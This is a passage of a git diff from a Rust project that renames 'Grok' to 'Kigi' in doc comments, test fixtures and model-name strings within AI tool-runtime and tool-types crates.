 /// downstream consumers don't need to know the concrete tool type.
@@ -169,11 +169,11 @@ pub enum ContentBlock {
     Text { text: String },
     /// Image. `mime_type` is e.g. `"image/png"`; `data` is base64.
     ///
-    /// Optional metadata fields are used by the Grok SLOP converter to
+    /// Optional metadata fields are used by the Kigi SLOP converter to
     /// produce `Media` objects with the correct identifiers:
     /// - `media_id`: unique image ID for referencing in subsequent tool calls
     /// - `filename`: human-readable filename (e.g. `"xK29f.png"`)
-    /// - `path`: file path on the Grok Computer filesystem
+    /// - `path`: file path on the Kigi Computer filesystem
     /// - `metadata`: arbitrary key-value pairs (e.g. `title`, `webpage_url`)
     Image {
         #[serde(alias = "mimeType")]
diff --git a/crates/common/kigi-tool-runtime/tests/tool_dyn.rs b/crates/common/kigi-tool-runtime/tests/tool_dyn.rs
index f223703..8af64ab 100644
--- a/crates/common/kigi-tool-runtime/tests/tool_dyn.rs
+++ b/crates/common/kigi-tool-runtime/tests/tool_dyn.rs
@@ -2,7 +2,7 @@
 //!
 //! Covers the JSON-erased object-safe surface (`ToolDyn`) and the
 //! variant-keyed family lookup (`ToolFamily`). Mirrors the toolbox
-//! `GrokToolDyn` / `GrokToolFamily` tests but against the runtime's
+//! `KigiToolDyn` / `KigiToolFamily` tests but against the runtime's
 //! typed `Tool` trait.
 
 use std::sync::Arc;
diff --git a/crates/common/kigi-tool-types/src/task.rs b/crates/common/kigi-tool-types/src/task.rs
index 8477ffb..9b821ac 100644
--- a/crates/common/kigi-tool-types/src/task.rs
+++ b/crates/common/kigi-tool-types/src/task.rs
@@ -1116,9 +1116,9 @@ mod tests {
     #[test]
     fn task_tool_input_model_parses_explicit() {
         let input: TaskToolInput =
-            serde_json::from_str(r#"{"description": "d", "prompt": "p", "model": "grok-3"}"#)
+            serde_json::from_str(r#"{"description": "d", "prompt": "p", "model": "kigi-3"}"#)
                 .unwrap();
-        assert_eq!(input.model.as_deref(), Some("grok-3"));
+        assert_eq!(input.model.as_deref(), Some("kigi-3"));
     }
 
     #[test]
@@ -1142,12 +1142,12 @@ mod tests {
     #[test]
     fn sanitize_optional_arg_moves_when_no_trim() {
         assert_eq!(
-            sanitize_optional_arg(Some("grok-3".into())).as_deref(),
-            Some("grok-3")
+            sanitize_optional_arg(Some("kigi-3".into())).as_deref(),
+            Some("kigi-3")
         );
         assert_eq!(
-            sanitize_optional_arg(Some("  grok-3  ".into())).as_deref(),
-            Some("grok-3")
+            sanitize_optional_arg(Some("  kigi-3  ".into())).as_deref(),
+            Some("kigi-3")
         );
         assert!(sanitize_optional_arg(Some("null".into())).is_none());
         assert!(sanitize_optional_arg(Some("  NULL  ".into())).is_none());
@@ -1375,8 +1375,8 @@ mod tests {
     // ── Lifecycle tool descriptions ──────────────────────────────────────
     //
     // These lock the exact model-facing text. The "cli_default" cases must
-    // match what the grok-shell MiniJinja templates render for the default
-    // grok-build toolset (monitor + task + bash + read present, POSIX). The
+    // match what the kigi-shell MiniJinja templates render for the default
+    // kigi toolset (monitor + task + bash + read present, POSIX). The
     // "toolbox" cases lock the subagent-only rendering used by the backend toolbox.
 
     #[test]